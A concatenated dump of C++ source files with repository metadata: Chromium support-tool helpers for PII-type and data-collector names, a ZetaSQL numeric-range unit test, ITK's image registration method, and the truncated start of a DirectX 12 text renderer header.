const char kDataCollectorIncluded[] = "isIncluded";
const char kUrlGenerationResultSuccess[] = "success";
const char kUrlGenerationResultUrl[] = "url";
const char kUrlGenerationResultErrorMessage[] = "errorMessage";
} // namespace support_tool_ui
namespace {
// Returns the human readable name corresponding to `data_collector_type`.
std::string GetPIITypeDescription(redaction::PIIType type_enum) {
// This function will return translatable strings in future. For now, return
// string constants until we have the translatable strings ready.
switch (type_enum) {
case redaction::PIIType::kAndroidAppStoragePath:
// App storage path is part of information about an Android app.
return support_tool_ui::kAndroidAppInfo;
case redaction::PIIType::kEmail:
return support_tool_ui::kEmail;
case redaction::PIIType::kGaiaID:
return support_tool_ui::kGAIA;
case redaction::PIIType::kIPPAddress:
return support_tool_ui::kIPPAddress;
case redaction::PIIType::kIPAddress:
return support_tool_ui::kIPAddress;
case redaction::PIIType::kLocationInfo:
return support_tool_ui::kLocationInfo;
case redaction::PIIType::kMACAddress:
return support_tool_ui::kMACAddress;
case redaction::PIIType::kUIHierarchyWindowTitles:
return support_tool_ui::kWindowTitle;
case redaction::PIIType::kURL:
return support_tool_ui::kURL;
case redaction::PIIType::kSerial:
return support_tool_ui::kSerial;
case redaction::PIIType::kSSID:
return support_tool_ui::kSSID;
case redaction::PIIType::kStableIdentifier:
return support_tool_ui::kStableIdentifier;
case redaction::PIIType::kVolumeLabel:
// Volume labels are a part of removable storage paths in various logs.
return support_tool_ui::kRemovableStorage;
case redaction::PIIType::kEAP:
return support_tool_ui::kEAP;
default:
return "Error: Undefined";
}
}
// Returns the human readable name corresponding to `data_collector_type`.
std::string GetDataCollectorName(
support_tool::DataCollectorType data_collector_type) {
// This function will return translatable strings in future. For now, return
// string constants until we have the translatable strings ready.
switch (data_collector_type) {
case support_tool::CHROME_INTERNAL:
return "Chrome System Information";
case support_tool::CRASH_IDS:
return "Crash IDs";
case support_tool::MEMORY_DETAILS:
return "Memory Details";
case support_tool::CHROMEOS_UI_HIERARCHY:
return "UI Hierarchy";
case support_tool::CHROMEOS_COMMAND_LINE:
return "Additional Chrome OS Platform Logs";
case support_tool::CHROMEOS_DEVICE_EVENT:
return "Device Event";
case support_tool::CHROMEOS_IWL_WIFI_DUMP:
return "Intel WiFi NICs Debug Dump";
case support_tool::CHROMEOS_TOUCH_EVENTS:
return "Touch Events";
case support_tool::CHROMEOS_CROS_API:
return "LaCrOS System Information";
case support_tool::CHROMEOS_LACROS:
return "LaCrOS";
case support_tool::CHROMEOS_REVEN:
return "Chrome OS Flex Logs";
case support_tool::CHROMEOS_DBUS:
return "DBus Details";
case support_tool::CHROMEOS_NETWORK_ROUTES:
return "Chrome OS Network Routes";
case support_tool::CHROMEOS_SHILL:
return "Chrome OS Shill (Connection Manager) Logs";
case support_tool::POLICIES:
return "Policies";
case support_tool::CHROMEOS_SYSTEM_STATE:
return "Chrome OS System State and Logs";
case support_tool::CHROMEOS_SYSTEM_LOGS:
return "ChromeOS System Logs";
case support_tool::CHROMEOS_CHROME_USER_LOGS:
return "Chrome OS Chrome User Logs";
case support_tool::CHROMEOS_BLUETOOTH_FLOSS:
return "ChromeOS Bluetooth Floss";
case support_tool::CHROMEOS_CONNECTED_INPUT_DEVICES:
return "ChromeOS Connected Input Devices";
case support_tool::CHROMEOS_TRAFFIC_COUNTERS:
return "ChromeOS Traffic Counters";
case support_tool::CHROMEOS_VIRTUAL_KEYBOARD:
return "ChromeOS Virtual Keyboard";
case support_tool::CHROMEOS_NETWORK_HEALTH:
return "ChromeOS Network Health";
default:
return "Error: Undefined";
}
}
// Decodes `module_query` string and initializes contents of `module`.
void InitDataCollectionModuleFromURLQuery(
support_tool::DataCollectionModule* module,
const std::string& module_query) {
std::string query_decoded;
if (!module_query.empty() &&
base::Base64UrlDecode(module_query,
base::Base64UrlDecodePolicy::IGNORE_PADDING,
&query_decoded)) {
module->ParseFromString(query_decoded);
}
}
// Returns data collector item for `type`. Sets isIncluded field true if
// `module` contains `type`.
base::Value::Dict GetDataCollectorItemForType(
const support_tool::DataCollectionModule& module,
const support_tool::DataCollectorType& type) {
base::Value::Dict dict;
dict.Set(support_tool_ui::kDataCollectorName, GetDataCollectorName(type));
dict.Set(support_tool_ui::kDataCollectorProtoEnum, type);
dict.Set(support_tool_ui::kDataCollectorIncluded,
base::Contains(module.included_data_collectors(), type));
return dict;
}
// Returns data collector item for `type`. Sets isIncluded to false for all data
// collector items.
base::Value::Dict GetDataCollectorItemForType(
const support_tool::DataCollectorType& type) {
base::Value::Dict dict;
dict.Set(support_tool_ui::kDataCollectorName, GetDataCollectorName(type));
dict.Set(support_tool_ui::kDataCollectorProtoEnum, type);
dict.Set(support_tool_ui::kDataCollectorIncluded, false);
return dict;
}
// Returns the current time in YYYY_MM_DD_HH_mm format.
std::string GetTimestampString(base::Time timestamp) {
base::Time::Exploded tex;
timestamp.LocalExplode(&tex);
return base::StringPrintf("%04d_%02d_%02d_%02d_%02d", tex.year, tex.month,
tex.day_of_month, tex.hour, tex.minute);
}
std::string GetDataCollectionModuleQuery(
std::set<support_tool::DataCollectorType> included_data_collectors) {
support_tool::DataCollectionModule module;
for (const auto& data_collector : included_data_collectors) {
module.add_included_data_collectors(data_collector);
}
std::string module_serialized;
module.SerializeToString(&module_serialized);
std::string data_collection_url_query;
base::Base64UrlEncode(module_serialized,
base::Base64UrlEncodePolicy::OMIT_PADDING,
&data_collection_url_query);
return data_collection_url_query;
}
// Returns a URL generation result in the type Support Tool UI expects.
// type UrlGenerationResult = {
// success: boolean,
// url: string,
// errorMessage: string,
// }
base::Value::Dict GetURLGenerationResult(bool success,
std::string url,
std::string error_message) {
base::Value::Dict url_generation_response;
url_generation_response.Set(support_tool_ui::kUrlGenerationResultSuccess,
success);
url_generation_response.Set(support_tool_ui::kUrlGenerationResultUrl, url);
url_generation_response.Set(support_tool_ui::kUrlGenerationResultErrorMessage,
error_message);
return url_generation_response;
}
} // namespace
// type PIIDataItem = {
// piiTypeDescription: string,
// piiType: number,
// detectedData: string,
// count: number,
// keep: boolean,
// }
base::Value::List GetDetectedPIIDataItems(const PIIMap& detected_pii) {
base::Value::List detected_pii_data_items;
for (const auto& pii_entry : detected_pii) {
base::Value::Dict pii_data_item;
pii_data_item.Set(support_tool_ui::kPiiItemDescriptionKey,
GetPIITypeDescription(pii_entry.first));
pii_data_item.Set(support_tool_ui::kPiiItemPIITypeKey,
static_cast<int>(pii_entry.first));
pii_data_item.Set(
support_tool_ui::kPiiItemDetectedDataKey,
base::JoinString(
std::vector<base::StringPiece>(pii_entry.second.begin(),
pii_entry.second.end()),
// Join the PII strings with a comma in between them when displaying
// to the user to make it more easily readable.
", "));
pii_data_item.Set(support_tool_ui::kPiiItemCountKey,
static_cast<int>(pii_entry.second.size()));
// TODO(b/200511640): Set `keep` field to the value we'll get from URL's
// pii_masking_on query if it exists.
pii_data_item.Set(support_tool_ui::kPiiItemKeepKey, true);
detected_pii_data_items.Append(std::move(pii_data_item));
}
return detected_pii_data_items;
}
std::set<redaction::PIIType> GetPIITypesToKeep(
const base::Value::List* pii_items) {
std::set<redaction::PIIType> pii_to_keep;
for (const auto& item : *pii_items) {
const base::Value::Dict* item_as_dict = item.GetIfDict();
DCHECK(item_as_dict);
absl::optional<bool> keep =
item_as_dict->FindBool(support_tool_ui::kPiiItemKeepKey);
if (keep && keep.value()) {
pii_to_keep.insert(static_cast<redaction::PIIType>(
item_as_dict->FindInt(support_tool_ui::kPiiItemPIITypeKey).value()));
}
}
return pii_to_keep;
}
std::string GetSupportCaseIDFromURL(const GURL& url) {
std::string support_case_id;
if (url.has_query()) {
net::GetValueForKeyInQuery(url, support_tool_ui::kSupportCaseIDQuery,
&support_case_id);
}
return support_case_id;
}
base::Value::List GetDataCollectorItemsInQuery(std::string module_query) {
base::Value::List data_collector_list;
support_tool::DataCollectionModule module;
InitDataCollectionModuleFromURLQuery(&module, module_query);
for (const auto& type : GetAllAvailableDataCollectorsOnDevice()) {
data_collector_list.Append(GetDataCollectorItemForType(module, type));
}
return data_collector_list;
}
base::Value::List GetAllDataCollectorItems() {
base::Value::List data_collector_list;
for (const auto& type : GetAllDataCollectors()) {
data_collector_list.Append(GetDataCollectorItemForType(type));
}
return data_collector_list;
}
base::Value::List GetAllDataCollectorItemsForDeviceForTesting() {
base::Value::List data_collector_list;
for (const auto& type : GetAllAvailableDataCollectorsOnDevice()) {
data_collector_list.Append(GetDataCollectorItemForType(type));
}
return data_collector_list;
}
std::set<support_tool::DataCollectorType> GetIncludedDataCollectorTypes(
const base::Value::List* data_collector_items) {
std::set<support_tool::DataCollectorType> included_data_collectors;
for (const auto& item : *data_collector_items) {
const base::Value::Dict* item_as_dict = item.GetIfDict();
DCHECK(item_as_dict);
absl::optional<bool> isIncluded = item_as_dict->FindBool("isIncluded");
if (isIncluded && isIncluded.value()) {
included_data_collectors.insert(
static_cast<support_tool::DataCollectorType>(
item_as_dict->FindInt("protoEnum").value()));
}
}
return included_data_collectors;
}
base::Value::Dict GetStartDataCollectionResult(bool success,
std::string error_message) {
base::Value::Dict result;
result.Set("success", success);
result.Set("errorMessage", error_message);
return result;
}
base::FilePath GetDefaultFileToExport(base::FilePath suggested_path,
const std::string& case_id,
base::Time timestamp) {
std::string timestamp_string = GetTimestampString(timestamp);
std::string filename =
case_id.empty()
? base::StringPrintf("support_packet_%s", timestamp_string.c_str())
: base::StringPrintf("support_packet_%s_%s", case_id.c_str(),
timestamp_string.c_str());
return suggested_path.AppendASCII(filename);
}
base::Value::Dict GenerateCustomizedURL(
std::string case_id,
const base::Value::List* data_collector_items) {
base::Value::Dict url_generation_response;
std::set<support_tool::DataCollectorType> included_data_collectors =
GetIncludedDataCollectorTypes(data_collector_items);
if (included_data_collectors.empty()) {
// If there's no selected data collector to add, consider this as an error.
return GetURLGenerationResult(
/*success=*/false, /*url=*/std::string(), /*error_message=*/
"No data collectors included. Please select a data collector.");
}
GURL customized_url("chrome://support-tool");
if (!case_id.empty()) {
customized_url = net::AppendQueryParameter(
customized_url, support_tool_ui::kSupportCaseIDQuery, case_id);
}
customized_url = net::AppendQueryParameter(
customized_url, support_tool_ui::kModuleQuery,
GetDataCollectionModuleQuery(included_data_collectors));
return GetURLGenerationResult(/*success=*/true, /*url=*/customized_url.spec(),
/*error_message=*/std::string());
}
| [
"roger@nwjs.io"
] | roger@nwjs.io |
4d3b1b29c3dfbd87011f5604a8ce910975e6fe99 | 701bb30ec4e2a19f75c38c1f6cf6fa7e57469cf8 | /zetasql/public/functions/convert_internal_test.cc | 01ba107b4a4999db7a8a7a1fb12d4b78c6d1df71 | [
"Apache-2.0"
] | permissive | mingen-pan/zetasql | 4f2421856569d6ede24fc9fc49c6549d9ff4b248 | e4e24212adfe7055f63a543c2fc299d823acd43d | refs/heads/master | 2022-12-08T05:57:22.157677 | 2020-07-02T01:29:06 | 2020-07-02T01:29:06 | 276,516,458 | 0 | 0 | Apache-2.0 | 2020-07-02T01:10:45 | 2020-07-02T01:10:44 | null | UTF-8 | C++ | false | false | 7,024 | cc | //
// Copyright 2019 ZetaSQL Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#include "zetasql/public/functions/convert_internal.h"
#include <limits>
#include "gtest/gtest.h"
static const float FLOAT_INT32_MIN =
static_cast<float>(std::numeric_limits<int32_t>::lowest());
static const float FLOAT_INT32_MAX =
static_cast<float>(std::numeric_limits<int32_t>::max());
static const float FLOAT_INT64_MIN =
static_cast<float>(std::numeric_limits<int64_t>::lowest());
static const float FLOAT_INT64_MAX =
static_cast<float>(std::numeric_limits<int64_t>::max());
static const float FLOAT_UINT32_MAX =
static_cast<float>(std::numeric_limits<uint32_t>::max());
static const float FLOAT_UINT64_MAX =
static_cast<float>(std::numeric_limits<uint64_t>::max());
static const double DOUBLE_INT32_MIN =
static_cast<double>(std::numeric_limits<int32_t>::lowest());
static const double DOUBLE_INT32_MAX =
static_cast<double>(std::numeric_limits<int32_t>::max());
static const double DOUBLE_INT64_MIN =
static_cast<double>(std::numeric_limits<int64_t>::lowest());
static const double DOUBLE_INT64_MAX =
static_cast<double>(std::numeric_limits<int64_t>::max());
static const double DOUBLE_UINT32_MAX =
static_cast<double>(std::numeric_limits<uint32_t>::max());
static const double DOUBLE_UINT64_MAX =
static_cast<double>(std::numeric_limits<uint64_t>::max());
static const float FLOAT_INFI = std::numeric_limits<float>::infinity();
static const float FLOAT_NINFI = -std::numeric_limits<float>::infinity();
static const float FLOAT_NAN = std::numeric_limits<float>::quiet_NaN();
static const double DOUBLE_INFI = std::numeric_limits<double>::infinity();
static const double DOUBLE_NINFI = -std::numeric_limits<double>::infinity();
static const double DOUBLE_NAN = std::numeric_limits<double>::quiet_NaN();
namespace zetasql {
namespace convert_internal {
TEST(CastOpsTest, InRangeNoTruncate) {
// int32_t in range cases.
EXPECT_EQ(true, (InRangeNoTruncate<double, int32_t>(5744950.5334)));
EXPECT_EQ(true,
(InRangeNoTruncate<double, int32_t>(-41834793.402368)));
EXPECT_EQ(true,
(InRangeNoTruncate<float, int32_t>(1470707200)));
EXPECT_EQ(true,
(InRangeNoTruncate<float, int32_t>(-14707.997)));
// int32_t border or out of range cases.
EXPECT_EQ(false,
(InRangeNoTruncate<float, int32_t>(FLOAT_INT32_MAX)));
EXPECT_EQ(true,
(InRangeNoTruncate<float, int32_t>(FLOAT_INT32_MIN)));
EXPECT_EQ(true,
(InRangeNoTruncate<double, int32_t>(DOUBLE_INT32_MAX)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, int32_t>(DOUBLE_INT32_MAX+0.5)));
EXPECT_EQ(true,
(InRangeNoTruncate<double, int32_t>(DOUBLE_INT32_MIN)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, int32_t>(DOUBLE_INT32_MIN-0.5)));
// int64_t in range cases.
EXPECT_EQ(true, (InRangeNoTruncate<double, int64_t>(37483134.653)));
EXPECT_EQ(true, (InRangeNoTruncate<double, int64_t>(-37483134.653)));
EXPECT_EQ(true, (InRangeNoTruncate<float, int64_t>(374831.653)));
EXPECT_EQ(true, (InRangeNoTruncate<float, int64_t>(-374831.653)));
// int64_t border or out of range cases.
EXPECT_EQ(false, (InRangeNoTruncate<double, int64_t>(DOUBLE_INT64_MAX)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, int64_t>(DOUBLE_INT64_MAX+1)));
EXPECT_EQ(true,
(InRangeNoTruncate<double, int64_t>(DOUBLE_INT64_MIN)));
EXPECT_EQ(false, (InRangeNoTruncate<float, int64_t>(FLOAT_INT64_MAX)));
EXPECT_EQ(true, (InRangeNoTruncate<float, int64_t>(FLOAT_INT64_MIN)));
// uint32_t in range cases.
EXPECT_EQ(true,
(InRangeNoTruncate<double, uint32_t>(5744950.5334)));
EXPECT_EQ(true,
(InRangeNoTruncate<float, uint32_t>(2634022912.00)));
// uint32_t corner or out of range cases.
EXPECT_EQ(true,
(InRangeNoTruncate<double, uint32_t>(DOUBLE_UINT32_MAX)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, uint32_t>(DOUBLE_UINT32_MAX+0.5)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, uint32_t>(-1.23)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, uint32_t>(-0.23)));
EXPECT_EQ(false,
(InRangeNoTruncate<float, uint32_t>(FLOAT_UINT32_MAX)));
EXPECT_EQ(false,
(InRangeNoTruncate<float, uint32_t>(-1.023)));
EXPECT_EQ(false,
(InRangeNoTruncate<float, uint32_t>(-0.023)));
// uint64_t in range cases.
EXPECT_EQ(true,
(InRangeNoTruncate<double, uint64_t>(5744950.5334)));
EXPECT_EQ(true,
(InRangeNoTruncate<float, uint64_t>(2634022912.00)));
// uint64_t corner or out of range cases.
EXPECT_EQ(false,
(InRangeNoTruncate<double, uint64_t>(DOUBLE_UINT64_MAX)));
EXPECT_EQ(false,
(InRangeNoTruncate<double, uint64_t>(-1.23)));
EXPECT_EQ(false,
(InRangeNoTruncate<float, uint64_t>(FLOAT_UINT64_MAX)));
EXPECT_EQ(false,
(InRangeNoTruncate<float, uint64_t>(-1.023)));
// int8_t in range cases.
EXPECT_EQ(true, (InRangeNoTruncate<float, int8_t>(101.234f)));
EXPECT_EQ(true, (InRangeNoTruncate<float, int8_t>(-100.234f)));
EXPECT_EQ(true, (InRangeNoTruncate<double, int8_t>(101.234)));
EXPECT_EQ(true, (InRangeNoTruncate<double, int8_t>(-100.234)));
// int8_t corner or out of range cases.
EXPECT_EQ(true, (InRangeNoTruncate<float, int8_t>(127)));
EXPECT_EQ(false, (InRangeNoTruncate<float, int8_t>(127.023f)));
EXPECT_EQ(true, (InRangeNoTruncate<float, int8_t>(-128)));
EXPECT_EQ(false, (InRangeNoTruncate<float, int8_t>(-128.023f)));
EXPECT_EQ(true, (InRangeNoTruncate<double, int8_t>(127)));
EXPECT_EQ(false, (InRangeNoTruncate<double, int8_t>(127.023)));
EXPECT_EQ(true, (InRangeNoTruncate<double, int8_t>(-128)));
EXPECT_EQ(false, (InRangeNoTruncate<double, int8_t>(-128.0233)));
// uint8_t in range cases.
EXPECT_EQ(true, (InRangeNoTruncate<float, uint8_t>(201.234f)));
EXPECT_EQ(true, (InRangeNoTruncate<double, uint8_t>(200.234)));
// uint8_t corner or out of range cases.
EXPECT_EQ(true, (InRangeNoTruncate<float, uint8_t>(255)));
EXPECT_EQ(false, (InRangeNoTruncate<float, uint8_t>(255.023f)));
EXPECT_EQ(false, (InRangeNoTruncate<float, uint8_t>(-1.13f)));
EXPECT_EQ(true, (InRangeNoTruncate<double, uint8_t>(255)));
EXPECT_EQ(false, (InRangeNoTruncate<double, uint8_t>(255.023)));
EXPECT_EQ(false, (InRangeNoTruncate<double, uint8_t>(-12)));
}
} // namespace convert_internal
} // namespace zetasql
| [
"matthewbr@google.com"
] | matthewbr@google.com |
aed3fb8035d63a95124132090b0f51f4ed8ce447 | ea401c3e792a50364fe11f7cea0f35f99e8f4bde | /released_plugins/v3d_plugins/bigneuron_AmosSironi_PrzemyslawGlowacki_SQBTree_plugin/libs/ITK_include/itkImageRegistrationMethod.hxx | 4ff7b9ee1ebf47f91b263f6a7e4a2536f3a26f8d | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | Vaa3D/vaa3d_tools | edb696aa3b9b59acaf83d6d27c6ae0a14bf75fe9 | e6974d5223ae70474efaa85e1253f5df1814fae8 | refs/heads/master | 2023-08-03T06:12:01.013752 | 2023-08-02T07:26:01 | 2023-08-02T07:26:01 | 50,527,925 | 107 | 86 | MIT | 2023-05-22T23:43:48 | 2016-01-27T18:19:17 | C++ | UTF-8 | C++ | false | false | 9,841 | hxx | /*=========================================================================
*
* Copyright Insight Software Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#ifndef __itkImageRegistrationMethod_hxx
#define __itkImageRegistrationMethod_hxx
#include "itkImageRegistrationMethod.h"
namespace itk
{
/**
* Constructor
*/
template< typename TFixedImage, typename TMovingImage >
ImageRegistrationMethod< TFixedImage, TMovingImage >
::ImageRegistrationMethod()
{
this->SetNumberOfRequiredOutputs(1); // for the Transform
m_FixedImage = 0; // has to be provided by the user.
m_MovingImage = 0; // has to be provided by the user.
m_Transform = 0; // has to be provided by the user.
m_Interpolator = 0; // has to be provided by the user.
m_Metric = 0; // has to be provided by the user.
m_Optimizer = 0; // has to be provided by the user.
m_InitialTransformParameters = ParametersType(1);
m_LastTransformParameters = ParametersType(1);
m_InitialTransformParameters.Fill(0.0f);
m_LastTransformParameters.Fill(0.0f);
m_FixedImageRegionDefined = false;
TransformOutputPointer transformDecorator =
itkDynamicCastInDebugMode< TransformOutputType * >(this->MakeOutput(0).GetPointer() );
this->ProcessObject::SetNthOutput( 0, transformDecorator.GetPointer() );
this->SetNumberOfThreads( this->GetMultiThreader()->GetNumberOfThreads() );
}
/**
*
*/
template< typename TFixedImage, typename TMovingImage >
ModifiedTimeType
ImageRegistrationMethod< TFixedImage, TMovingImage >
::GetMTime() const
{
ModifiedTimeType mtime = Superclass::GetMTime();
ModifiedTimeType m;
// Some of the following should be removed once ivars are put in the
// input and output lists
if ( m_Transform )
{
m = m_Transform->GetMTime();
mtime = ( m > mtime ? m : mtime );
}
if ( m_Interpolator )
{
m = m_Interpolator->GetMTime();
mtime = ( m > mtime ? m : mtime );
}
if ( m_Metric )
{
m = m_Metric->GetMTime();
mtime = ( m > mtime ? m : mtime );
}
if ( m_Optimizer )
{
m = m_Optimizer->GetMTime();
mtime = ( m > mtime ? m : mtime );
}
if ( m_FixedImage )
{
m = m_FixedImage->GetMTime();
mtime = ( m > mtime ? m : mtime );
}
if ( m_MovingImage )
{
m = m_MovingImage->GetMTime();
mtime = ( m > mtime ? m : mtime );
}
return mtime;
}
/*
* Set the initial transform parameters
*/
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::SetInitialTransformParameters(const ParametersType & param)
{
m_InitialTransformParameters = param;
this->Modified();
}
/**
* Set the region of the fixed image to be considered for registration
*/
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::SetFixedImageRegion(const FixedImageRegionType & region)
{
m_FixedImageRegion = region;
m_FixedImageRegionDefined = true;
this->Modified();
}
/**
* Initialize by setting the interconnects between components.
*/
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::Initialize()
throw ( ExceptionObject )
{
if ( !m_FixedImage )
{
itkExceptionMacro(<< "FixedImage is not present");
}
if ( !m_MovingImage )
{
itkExceptionMacro(<< "MovingImage is not present");
}
if ( !m_Metric )
{
itkExceptionMacro(<< "Metric is not present");
}
if ( !m_Optimizer )
{
itkExceptionMacro(<< "Optimizer is not present");
}
if ( !m_Transform )
{
itkExceptionMacro(<< "Transform is not present");
}
//
// Connect the transform to the Decorator.
//
TransformOutputType *transformOutput =
static_cast< TransformOutputType * >( this->ProcessObject::GetOutput(0) );
transformOutput->Set( m_Transform.GetPointer() );
if ( !m_Interpolator )
{
itkExceptionMacro(<< "Interpolator is not present");
}
// Setup the metric
this->GetMultiThreader()->SetNumberOfThreads( this->GetNumberOfThreads() );
this->m_Metric->SetNumberOfThreads( this->GetNumberOfThreads() );
m_Metric->SetMovingImage(m_MovingImage);
m_Metric->SetFixedImage(m_FixedImage);
m_Metric->SetTransform(m_Transform);
m_Metric->SetInterpolator(m_Interpolator);
if ( m_FixedImageRegionDefined )
{
m_Metric->SetFixedImageRegion(m_FixedImageRegion);
}
else
{
m_Metric->SetFixedImageRegion( m_FixedImage->GetBufferedRegion() );
}
m_Metric->Initialize();
// Setup the optimizer
m_Optimizer->SetCostFunction(m_Metric);
// Validate initial transform parameters
if ( m_InitialTransformParameters.Size() !=
m_Transform->GetNumberOfParameters() )
{
itkExceptionMacro(<< "Size mismatch between initial parameters and transform."
<< "Expected " << m_Transform->GetNumberOfParameters() << " parameters and received "
<< m_InitialTransformParameters.Size() << " parameters");
}
m_Optimizer->SetInitialPosition(m_InitialTransformParameters);
}
/**
* Starts the Optimization process
*/
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::StartOptimization(void)
{
try
{
// do the optimization
m_Optimizer->StartOptimization();
}
catch ( ExceptionObject & err )
{
// An error has occurred in the optimization.
// Update the parameters
m_LastTransformParameters = m_Optimizer->GetCurrentPosition();
// Pass exception to caller
throw err;
}
// get the results
m_LastTransformParameters = m_Optimizer->GetCurrentPosition();
m_Transform->SetParameters(m_LastTransformParameters);
}
/**
* PrintSelf
*/
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::PrintSelf(std::ostream & os, Indent indent) const
{
Superclass::PrintSelf(os, indent);
os << indent << "Metric: " << m_Metric.GetPointer() << std::endl;
os << indent << "Optimizer: " << m_Optimizer.GetPointer() << std::endl;
os << indent << "Transform: " << m_Transform.GetPointer() << std::endl;
os << indent << "Interpolator: " << m_Interpolator.GetPointer() << std::endl;
os << indent << "Fixed Image: " << m_FixedImage.GetPointer() << std::endl;
os << indent << "Moving Image: " << m_MovingImage.GetPointer() << std::endl;
os << indent << "Fixed Image Region Defined: " << m_FixedImageRegionDefined << std::endl;
os << indent << "Fixed Image Region: " << m_FixedImageRegion << std::endl;
os << indent << "Initial Transform Parameters: " << m_InitialTransformParameters << std::endl;
os << indent << "Last Transform Parameters: " << m_LastTransformParameters << std::endl;
}
/*
* Generate Data
*/
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::GenerateData()
{
ParametersType empty(1);
empty.Fill(0.0);
try
{
// initialize the interconnects between components
this->Initialize();
}
catch ( ExceptionObject & err )
{
m_LastTransformParameters = empty;
// pass exception to caller
throw err;
}
this->StartOptimization();
}
/**
* Get Output
*/
template< typename TFixedImage, typename TMovingImage >
const typename ImageRegistrationMethod< TFixedImage, TMovingImage >::TransformOutputType *
ImageRegistrationMethod< TFixedImage, TMovingImage >
::GetOutput() const
{
return static_cast< const TransformOutputType * >( this->ProcessObject::GetOutput(0) );
}
template< typename TFixedImage, typename TMovingImage >
DataObject::Pointer
ImageRegistrationMethod< TFixedImage, TMovingImage >
::MakeOutput(DataObjectPointerArraySizeType output)
{
switch ( output )
{
case 0:
return TransformOutputType::New().GetPointer();
break;
default:
itkExceptionMacro("MakeOutput request for an output number larger than the expected number of outputs");
return 0;
}
}
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::SetFixedImage(const FixedImageType *fixedImage)
{
itkDebugMacro("setting Fixed Image to " << fixedImage);
if ( this->m_FixedImage.GetPointer() != fixedImage )
{
this->m_FixedImage = fixedImage;
// Process object is not const-correct so the const_cast is required here
this->ProcessObject::SetNthInput( 0,
const_cast< FixedImageType * >( fixedImage ) );
this->Modified();
}
}
template< typename TFixedImage, typename TMovingImage >
void
ImageRegistrationMethod< TFixedImage, TMovingImage >
::SetMovingImage(const MovingImageType *movingImage)
{
itkDebugMacro("setting Moving Image to " << movingImage);
if ( this->m_MovingImage.GetPointer() != movingImage )
{
this->m_MovingImage = movingImage;
// Process object is not const-correct so the const_cast is required here
this->ProcessObject::SetNthInput( 1,
const_cast< MovingImageType * >( movingImage ) );
this->Modified();
}
}
} // end namespace itk
#endif
| [
"amos.sironi@gmail.com"
] | amos.sironi@gmail.com |
2cb4a20e5c8ada9253e9f96eb7e7e0c49dcb39a9 | 22ba04fdf637a2daa7b12ba420996819467270a8 | /Engine/TBSGFramework/include/rendering/dx/DX12TextRenderer.h | 5c8d8c13ee99e9556c05e9bbf48e3c43308f81e1 | [] | no_license | jornveen/Reptoads | 6c592b72337153c53b27bc101c150ca37574f13f | a1c04d316a0745140fc74981d0488d6088f17911 | refs/heads/master | 2020-12-28T17:46:32.340045 | 2020-02-05T11:04:23 | 2020-02-05T11:04:23 | 238,426,513 | 0 | 0 | null | 2020-02-05T11:08:51 | 2020-02-05T10:43:42 | JavaScript | UTF-8 | C++ | false | false | 5,578 | h | #pragma once
#include "rendering/ResourceIds.h"
#ifdef PLATFORM_WINDOWS
#include <glm/vec2.hpp>
#include <unordered_map>
#include "rendering/Texture.h"
#include "core/RefCounted.h"
#include "IndexBuffer.h"
#include "CommandQueue.h"
#include <d2d1_3.h>
#include <dwrite_3.h>
#include <d3d11.h>
#include <d3d11on12.h>
#include <wrl.h>
#include <rendering/IUIRenderer.h>
#include <rendering/dx/Helpers.h>
#include "RootSignature.h"
namespace gfx
{
struct TextFormatOptions
{
std::wstring fontFamaly;
int fontSize;
DWRITE_TEXT_ALIGNMENT horizontalAlignment;
DWRITE_PARAGRAPH_ALIGNMENT verticalAlignment;
friend bool operator==(const TextFormatOptions& lhs, const TextFormatOptions& rhs)
{
return lhs.fontFamaly == rhs.fontFamaly
&& lhs.fontSize == rhs.fontSize
&& lhs.horizontalAlignment == rhs.horizontalAlignment
&& lhs.verticalAlignment == rhs.verticalAlignment;
}
friend bool operator!=(const TextFormatOptions& lhs, const TextFormatOptions& rhs) { return !(lhs == rhs); }
};
struct ColorBrushOptions
{
D2D1::ColorF color;
ColorBrushOptions()
: color(D2D1::ColorF::Black) {}
explicit ColorBrushOptions(const D2D1::ColorF& color)
: color(color) {}
friend bool operator==(const ColorBrushOptions& lhs, const ColorBrushOptions& rhs)
{
return abs(lhs.color.r - rhs.color.r) < 0.05f &&
abs(lhs.color.g - rhs.color.g) < 0.05f &&
abs(lhs.color.b - rhs.color.b) < 0.05f &&
abs(lhs.color.a - rhs.color.a) < 0.05f;
}
friend bool operator!=(const ColorBrushOptions& lhs, const ColorBrushOptions& rhs) { return !(lhs == rhs); }
};
}
namespace std
{
template<>
struct hash<gfx::TextFormatOptions>
{
size_t operator()(const gfx::TextFormatOptions& options) const noexcept
{
size_t seed = 1233210;
std::hash_combine(seed, options.fontFamaly);
std::hash_combine(seed, options.fontSize);
std::hash_combine(seed, options.horizontalAlignment);
std::hash_combine(seed, options.verticalAlignment);
return seed;
}
};
template<>
